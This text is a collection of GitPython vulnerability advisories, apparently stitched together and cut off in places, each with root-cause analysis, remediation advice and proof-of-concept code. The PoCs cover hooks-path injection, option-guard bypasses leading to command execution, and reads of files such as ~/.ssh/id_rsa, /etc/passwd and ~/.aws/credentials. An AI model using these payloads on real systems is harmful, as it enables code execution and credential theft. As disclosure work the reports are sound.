reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url="$X"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability. ### PoC Tested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`. ```bash python3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip install gitpython==3.1.50 /tmp/gp-venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ PoC: environment-variable exfiltration via Repo.clone_from() URL. Demonstrates that an attacker-controlled `url` argument to Repo.clone_from() is passed through os.path.expandvars() before being given to `git clone`, so `$NAME` tokens in the URL are replaced with the server process's environment-variable values and tra

`GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\n` becomes `\n\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration. This was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`. PoC (standalone, no MLRun required): ```python import git, subprocess, os repo = git.Repo("/tmp/testrepo") with repo.config_writer() as cw: cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks") r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks os.makedirs("/tmp/hooks", exist_ok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755) repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=... ``` Tested on GitPython 3.1.46, git 2.39+. Impact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically. Remediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through: ```python import re if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL") ``` Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that. Affected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs.

### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

### Summary GitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`. ### Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands: - `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe. - `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe. The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags: - `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390` - `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071` - `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125` - `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198` That validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`. Later, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified: - `upload_pack=...` becomes `--upload-pack=...` - `receive_pack=...` becomes `--receive-pack=...` Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject. In practice: - `remote.fetch(**{"upload-pack": helper})` is blocked with `UnsafeOptionError` - `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution The same bypass works for: ```python Repo.clone_from(origin, out, upload_pack=helper) repo.remote("origin").fetch(upload_pack=helper) repo.remote("origin").pull(upload_pack=helper) repo.remote("origin").push(receive_pack=helper) ``` This does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization. Existing tests cover the hyphenated form, not the vulnerable underscore form. For example: - `test/test_clone.py:129-136` checks `{"upload-pack": ...}` - `test/test_remote.py:830-833` checks `{"upload-pack": ...}` - `test/test_remote.py:968-975` checks `{"receive-pack": ...}` Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard. ### PoC 1. Create and activate a virtual environment in the repository root: ```bash python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activate ``` 2. make a new python file and put the following in there, then run it: ```python import os import stat import subprocess import tempfile from git import Repo from git.exc import UnsafeOptionError # Setup: create isolated repositories so the PoC uses a normal fetch flow. base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh") # Setup: this wrapper is just to demo things you can do, not required for the exploit to work # you could also do something like an SSH reverse shell, really anything with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true }} > '{proof}' exec git-upload-pack "$@" """) os.chmod(wrapper, stat.S_IRWXU) subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) with open(os.path.join(producer, "README"), "w") as f: f.write("x") subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL) subprocess.run( ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"], check=True, stdout=subprocess.DEVNULL, ) subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) repo = Repo(victi

### Summary `create_submodule(name, path, url)` clones a submodule into the repo's own `.git` directory before it rejects the path. A `path` of ".git/hooks" is accepted by the pre-clone check, so the submodule is cloned straight into the live hooks directory, and a file named `post-checkout` in the submodule becomes an executable `.git/hooks/post-checkout`. On 3.2.0+ the later index check does raise `ValueError`, but only after the clone already wrote to disk, and it does not remove the planted hook; on 3.1.x there is no such check and the call succeeds silently. Either way the hook runs on the next git operation (e.g. checkout), giving code execution. ### Details The checkout path is validated too late, after the clone has already mutated disk. This breaks the "validate before mutation" invariant that commit 43a43cd8 ("Validate submodule checkout and metadata paths before mutation") set out to enforce. Submodule.add() calls the permissive path check before cloning, and the strict check only reaches the ".git" alias at index time, after _clone_repo has written to disk: git/objects/submodule/base.py (Submodule.add) 599: path = cls._to_relative_path(repo, path) # accepts ".git/hooks" 673: mrepo = cls._clone_repo(repo, url, path, name, ...) # clones into <worktree>/.git/hooks 714: index.add([sm], write=True) # strict check only triggers here git/index/base.py (IndexFile._preprocess_add_items) 732: _validate_repo_path(entry.path) # rejects ".git", too late _to_relative_path only blocks `..`/absolute/out-of-tree paths; `.git` aliases are rejected only by _validate_repo_path, which was added in 3.2.0 (commit a75aedf3) and runs at the index boundary. The ValueError it raises at line 732 does not roll back what _clone_repo already wrote. Version-dependent behavior: - 3.2.0 .. tip bda18e08: _validate_repo_path raises ValueError at index.add, but the hook is already on disk and is not removed (incorrect order of validation vs. clone). - 3.1.x (e.g. 3.1.59): _validate_repo_path does not exist and _to_relative_path does not reject `.git`; create_submodule(path=".git/hooks", ...) returns with no error at all and the hook is planted silently. ### Proof of concept Setup: evilsub/ : a git repo whose ROOT contains an executable file named post-checkout (the payload) victim/ : a git repo with at least 1 commit and a second branch, whose .git/hooks has NO sample hooks (the state of a minimal/CI checkout, or `git init` with an empty template dir, or GIT_TEMPLATE_DIR/init.templateDir empty) import git, os.path as osp try: git.Repo("victim").create_submodule(name="x", path=".git/hooks", url=osp.abspath("evilsub")) except ValueError: pass # 3.2.0+: ".git" is rejected, but only AFTER the clone, so the plant already happened. # 3.1.x: no exception is raised at all; the call succeeds and still plants the hook. #### victim/.git/hooks/post-checkout now exists, mode 0755, attacker-controlled, on every #### affected version. Any later checkout runs it: #### git -C victim checkout <other-branch> -> the hook runs -> code execution Verified live: - tip bda18e08 (3.2.0 + 3 commits): create_submodule raised ValueError from git/index/base.py:732, yet .git/hooks/post-checkout was present and executable, and `git checkout` executed it. - 3.1.59: create_submodule returned with no error; .git/hooks/post-checkout was planted and executed by `git checkout`. ### Impact Arbitrary code execution. A library/app that creates a submodule from an attacker-influenced `path` ends up with an attacker-controlled executable in `.git/hooks`, which git runs on ordinary later operations. This affects any service that derives a submodule checkout path from untrusted data, e.g. one that ingests a submodule spec (name/path/url) from a user-supplied manifest or API request and feeds `path` into create_submodule. On 3.2.0+ the library's own validation is the thing that fails: it correctly rejects the `.git` path, but only after the submodule has already been cloned into place, so an app that traps the ValueError reasonably believes the unsafe path was blocked. Preconditions (hence AC:H): (1) the app passes an attacker-influenced submodule `path`; (2) the target hook name is free in `.git/hooks`, true for minimal/CI/container checkouts and whenever init.templateDir/GIT_TEMPLATE_DIR is empty. With the default sample hooks present, `git clone` refuses the non-empty destination and no plant occurs. Affected: all tested versions from 3.1.x (3.1.59) through the current tip bda18e08 (3.2.0 + 3 commits). 3.1.x plants silently; 3.2.0+ plants despite raising ValueError.

### Summary `Repo.__init__` decides which directory is the git directory by testing candidate paths in an order that considers the real `.git` **last**. Two earlier tests can be satisfied by ordinary tracked files. Git reserves only the literal name `.git`, so `HEAD`, `objects/`, `refs/`, `config`, `gitdir`, `commondir` and `hooks/` at a repository root are all legal tracked content. Consequently, after a victim opens or clones an attacker's repository, GitPython resolves `git_dir` to the **working-tree root** while real git correctly resolves `<root>/.git`. Everything GitPython then treats as "inside the git directory" is attacker-authored content — including `hooks/`, which it executes. ### CVE-2026-87817 ### Affected code (3.1.59) The discovery loop in `git/repo/base.py` tests, in order: 1. `git/repo/base.py:299` — `isfile(curpath/gitdir)` **and** `isfile(curpath/commondir)` **and** `isfile(curpath/HEAD)` 2. `git/repo/base.py:320` — `is_git_dir(curpath)` 3. `git/repo/base.py:341` — `dotgit = osp.join(curpath, ".git")` ← the real git dir, considered last `is_git_dir` (`git/repo/fun.py:60`) requires only that `objects/` and `refs/` are directories and that `HEAD` is a file; **`HEAD`'s contents are never parsed.** The hook path is resolved from `index.repo.git_dir` (`git/index/fun.py:73`), i.e. the mis-resolved directory. ### Proof of concept Requires only `pip install GitPython==3.1.59`. Full script attached as `poc1_rce.py`; it runs entirely in a temp directory and the payload only writes a marker file. Attacker repository — four ordinary tracked files at the root: | path | mode | content | |---|---|---| | `gitdir` | 100644 | `.git\n` | | `commondir` | 100644 | `.git\n` | | `HEAD` | 100644 | `ref: refs/heads/master\n` | | `hooks/pre-commit` | **100755** | `#!/bin/sh` + payload | Victim — two ordinary calls: ```python repo = git.Repo.clone_from(url, dst) # or git.Repo(dst) repo.index.commit("automated commit") # code execution happens here ``` Observed on the PyPI release 3.1.59 (Linux and Windows): ``` real git says the git dir is : /tmp/.../victim/.git GitPython says it is : /tmp/.../victim <- shadowed attacker's hook executed : True git fsck : (clean) ``` The `pre-commit` hook runs at `git/index/base.py:1201`, before `write_tree()`, so it fires even though the commit later fails. ### Impact A service that opens or clones an untrusted repository with GitPython — a CI runner building a fork pull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool — can be made to: 1. **Execute arbitrary commands** via the tracked `<root>/hooks/pre-commit` when the victim calls `index.commit()`. 2. **Read files outside the repository**: the tracked `<root>/config` becomes the repository config and is parsed with `merge_includes=True` (`git/repo/base.py:765`), so `[include] path = ~/.aws/credentials` discloses the file. (`Repo._config_reader` still defaults `merge_includes=True`, so the hardening added in 3.1.59 for `.gitmodules`/GHSA-7833 does not cover this path.) 3. **Write a config file to an attacker-chosen directory** via an absolute tracked `commondir`. Delivery is silent: `git clone` exits 0, `git fsck` (including `--strict`, and with `transfer.fsckObjects`/`fetch.fsckObjects=true`) reports nothing, and the clone passes every read-only probe (`head.commit`, `branches`, `is_dirty()`, `untracked_files`, `iter_commits`) because a tracked `commondir` of `.git` pins `common_dir` to the real `.git`. ### Threat model / preconditions - Attacker controls the content of a repository the victim opens or clones with GitPython (public repo, fork PR, mirrored dependency). - For code execution, the victim performs a commit via GitPython's native `index.commit()`. For the file-read impact, opening the repo and reading config is enough. - `GIT_WORK_TREE` is **not** a mitigation — `git_dir` is assigned and the discovery loop breaks before the environment is consulted. - Real git is unaffected; only GitPython mis-resolves the directory. ### Remediation 1. Test `curpath/.git` **before** the `gitdir`/`commondir`/`HEAD` triple and before `is_git_dir(curpath)`. 2. Resolve `hook_path` / `_commit_hook_path` / `_get_validated_reflog_path` through `repo.common_dir`. 3. Containment-check `commondir`/`gitdir` contents before joining (reuse `SymbolicReference._get_validated_path`). 4. Validate `HEAD` in `is_git_dir` (require `ref: refs/...` or a 40-hex sha). 5. Pass `merge_includes=False` in `Repo._config_reader` (`git/repo/base.py:765`). ### Note for the maintainers Commit `406b98e1` (2026-05-31, "respect core.hooksPath for commit hooks") resolved the hook path via `git rev-parse --git-path`, which is immune because git rediscovers the true `.git`. Commit `9bc287a2` (2026-07-20) reverted it to avoid an unconditional `rev-parse` dependency — reintroducing the exec step. Measured at each commit with the healthy-lo

## Summary `TagReference.create()` forwards a caller-influenced positional `reference` value into `git tag` without it ever being inspected by the unsafe-option guard, allowing an arbitrary file read (the file's contents are returned in-band as the annotated tag message). This is an incomplete-fix bypass of commit `3af0c251` (the fix for GHSA-3f7w-8rr8-f37f's tag instance). ## Root Cause The fix `3af0c251` added `unsafe_git_tag_options = ["--file","-F"]` and a guard call, but the guard is `Git.check_unsafe_options(options=Git._option_candidates([], kwargs), unsafe_options=...)` at `git/refs/tag.py:139` — it passes an EMPTY args list and inspects **kwargs only**. The dangerous values `path` and `reference` are POSITIONALS (`args = (path, reference)`, tag.py:156), placed before any `--`. A user-influenced `reference="--file=<path>"` therefore reaches `git tag` as the exact `--file` option the fix intended to block, creating an annotated tag whose message is the file's contents. ## Impact Arbitrary local file read at the privileges of the host process; contents returned in-band via `tagref.tag.message`. Requires the embedding application to forward a caller-influenced `reference` value into `TagReference.create()` (pure VALUE control — the CVE-2026-42215 threat model). Default `allow_unsafe_options=False`. ## Proof of Concept ```python from git import TagReference t = TagReference.create(repo, "vpwn", reference="--file=/home/app/.ssh/id_rsa") print(t.tag.message) # contents of the file ``` ## Attack Chain 1. Entry: app calls `TagReference.create(repo, name, reference=<user>)` with `reference="--file=/home/app/.ssh/id_rsa"`. 2. Check: `Git.check_unsafe_options(_option_candidates([], kwargs), ["--file","-F"])` @ tag.py:137-141. Guard: denylist includes `--file`/`-F`. Bypass proof: `_option_candidates` receives `args=[]` → the positional `reference` is never a candidate (the kwarg spelling `file="…"` IS blocked; only the positional escapes). 3. Sink: `repo.git.tag(*args, **kwargs)` @ tag.py:158 → no `--`. argv (observed): `['git','tag','-f','vpwn','--file=<secret>']`. 4. Impact: annotated tag created; `tagref.tag.message` == file contents (arbitrary file read). ## Bypass Evidence Independently reproduced (independent test harness, git 2.43.0, default `allow_unsafe_options=False`): `TagReference.create(repo,'vp','--file=<secret>')` → PASSED; `tag.message == 'GATE_SECRET_LINE_A\nGATE_SECRET_LINE_B'`. Control: `TagReference.create(..., file='<secret>')` → `UnsafeOptionError: --file is not allowed`. Fix-commit read: `3af0c251` adds `_option_candidates([], kwargs)` (empty args → positional never a candidate). ## Affected Versions `GitPython <= 3.1.58` (sink present verbatim on the latest release tag; `git diff 3.1.57..HEAD` touches only test files). ## Suggested Fix Include the positional `reference` (and `path`) in the option-candidate list passed to `check_unsafe_options`, or place a `--` separator before the positional arguments in `TagReference.create()`. --- Reported by **zx (Jace)** — GitHub: @manus-use

## Summary `Repo.blame()` / `Repo.blame_incremental()` guard forwarded revision options against `unsafe_git_revision_options`, but that denylist only contains the file-WRITE options `--output`/`-o`. `git blame` also honors `--contents <file>` and `-S <file>`, which cause the file's lines to be echoed into the blame result — an arbitrary file READ. Neither option is in the denylist, so a caller-influenced revision value of `--contents=<path>` passes the guard and leaks file contents. This is a distinct sink-option and impact class (READ) from GHSA-956x-8gvw-wg5v (which addressed the blame `--output` WRITE), directly analogous to GHSA-539m-9xh6-q6rr (archive READ gap accepted separately from the archive write/exec advisory). ## Root Cause `unsafe_git_revision_options = ["--output","-o"]` (`git/repo/base.py:188`). The `rev` string is passed to `_option_candidates([rev], kwargs)` and placed BEFORE the `--` separator (base.py:841). The canonical name of `--contents=...` is `contents`, which is not on the denylist, so no `UnsafeOptionError` is raised. The trailing `--` protects only the pathspec, not the option before the revision. ## Impact Arbitrary local file read at the privileges of the host process; the file's line contents appear in the blame result returned to the caller. Pure VALUE control (the caller forwards a user-influenced revision string). Default `allow_unsafe_options=False`. ## Proof of Concept ```python result = repo.blame("--contents=/etc/passwd", "a.txt") # result rows carry the victim file's line text ``` ## Attack Chain 1. Entry: app calls `repo.blame(rev, file)` with attacker `rev="--contents=/etc/passwd"` (or kwarg `contents="/etc/passwd"`, or `-S`). 2. Check: `Git.check_unsafe_options(_option_candidates([rev,...], kwargs), unsafe_git_revision_options)` @ base.py:841. Guard: denylist = `["--output","-o"]` only. Bypass proof: canonical name `contents` ∉ denylist → no error. 3. Sink: `self.git.blame(rev, "--", file, p=True, ...)`. argv (observed): `['git','blame','-p','--contents=<secret>','HEAD','--','a.txt']`. 4. Impact: blame result rows carry the victim file's line text. ## Bypass Evidence Independently reproduced (independent test harness, default `allow_unsafe_options=False`): `blame('--contents=<secret>','a.txt')` → guard PASSED; result rows = `['GATE_SECRET_LINE_A','GATE_SECRET_LINE_B']`. Control: `blame('--output=…')` still BLOCKED (guard active on this path). `-S` kwarg argv also reaches git unguarded. ## Affected Versions `GitPython <= 3.1.58` (denylist present verbatim on the latest release tag). ## Suggested Fix Prefer an allowlist of blame options; at minimum add `--contents`/`-S` (and any other path-taking blame options) to `unsafe_git_revision_options`, and make the membership rule "the option takes a filesystem path" rather than "the option writes output". --- Reported by **zx (Jace)** — GitHub: @manus-use

- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument - **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708) - **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`) ## Reachability GitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\r`/`\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above. That guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts. The bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and "handles" any embedded newline in the value with `.replace("\n", "\n\t")` (line 708), emitting a bare, unquoted `<real newline><tab>` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `<anything>\nhooksPath = <attacker path>`, that second line is parsed as a brand-new `core.hooksPath = <attacker path>` directive — live, real Git configuration, not a value. `core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation. ## Root cause `GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten. ## Exploit path 1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.: ``` [core] zzz = "A\nhooksPath = ../evil-hooks\ " ``` No raw `\r`, `\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\nhooksPath = ../evil-hooks`, identically to GitPython's own reader. 2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value("user", "name", "Test User")`. This is one of the most ordinary operations a GitPython-based tool performs. 3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry,